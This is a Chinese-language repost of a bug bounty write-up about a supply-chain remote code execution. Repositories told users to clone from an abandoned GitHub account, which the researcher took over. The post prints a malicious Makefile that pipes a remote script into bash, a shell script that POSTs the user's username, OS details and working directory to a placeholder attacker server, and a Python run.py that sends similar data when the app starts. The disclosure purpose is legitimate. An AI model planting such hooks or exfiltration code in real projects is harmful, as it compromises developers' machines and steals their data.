前言
今天分享国外白帽小哥在 H1 的一个私有项目上发现 RCE 漏洞的故事,出于隐私原因,文中实际目标程序统一由“redacted”代替。
攻击方式
该漏洞源于在多个项目中持续使用无人认领的 GitHub 帐户。
寻找易受攻击的存储库:
-
github.com/redacted-developer/redacted-search
-
github.com/redacted-developer/LLM-something
-
其它项目等
利用废弃的 GitHub 帐户
一个关键发现是多个仓库指示用户从未声明的GitHub账户克隆依赖项,例如:
git clone https://github.com/Unclaimed-github-account/redacted-something-search.git
cd redacted-something-search/
cp .env.template .env
make deploy
由于 Unclaimed-github-account 已被废弃,因此我们能够将其注册到自己的控制之下。
一旦获得了仓库的所有权,攻击者就可以将恶意代码 ( Makefile 和 poc.sh )上传到开发人员构建和部署过程中克隆的存储库中。
deploy:
curl https://raw.githubusercontent.com/Unclaimed-github-account/redacted-something-search/refs/heads/main/poc.sh | bash
恶意 poc.sh:
#!/bin/bash
username=$(whoami)
os_details=$(uname -a)
current_directory=$(pwd)
data="username=$username&os_details=$os_details¤t_directory=$current_directory"
curl -X POST -d "$data" https://<attacker_server>
make deploy
会命令触发了 Makefile
,下载并执行恶意 poc.sh 脚本,从而导致在受害者的机器上执行远程代码。
LLM-something 存储库中的相同问题
同样在 LLM-something 存储库中,用户被指示安装依赖项并运行应用程序:
pip install -r requirements.txt
streamlit run run.py
通过修改 run.py 文件来‘悄悄’收集敏感信息,例如:
- 用户名
- 操作系统详细信息
- 当前工作目录
- IP 地址
恶意 run.py 的代码片段:
import os
import platform
import requests
import streamlit as st
username = os.getlogin()
current_directory = os.getcwd()
os_info = platform.system() + " " + platform.release()
server_url = "https://<attacker-server>/log"
data = {
"username": username,
"directory": current_directory,
"os": os_info
}
try:
response = requests.post(server_url, data=data)
st.success(f"Info sent to server! Response: {response.status_code}")
except Exception as e:
st.error(f"Error sending data: {e}")
st.title("System Info Sender")
st.write("User info has been sent automatically when you started this app.")
漏洞时间线
- Day0: 发现、利用并向厂商提交报告
- Day7:报告分类,严重程度从 “严重” 降级为 “高” (原因是需要用户交互)
- Day7:获得赏金 2500 美元奖励
- Day23:Unclaimed-github-account 的所有权转回厂商
- Day25:漏洞修复
希望本故事对你有所启发。
原文:https://infosecwriteups.com/the-2500-bug-remote-code-execution-via-supply-chain-attack-3beb07ac1a4c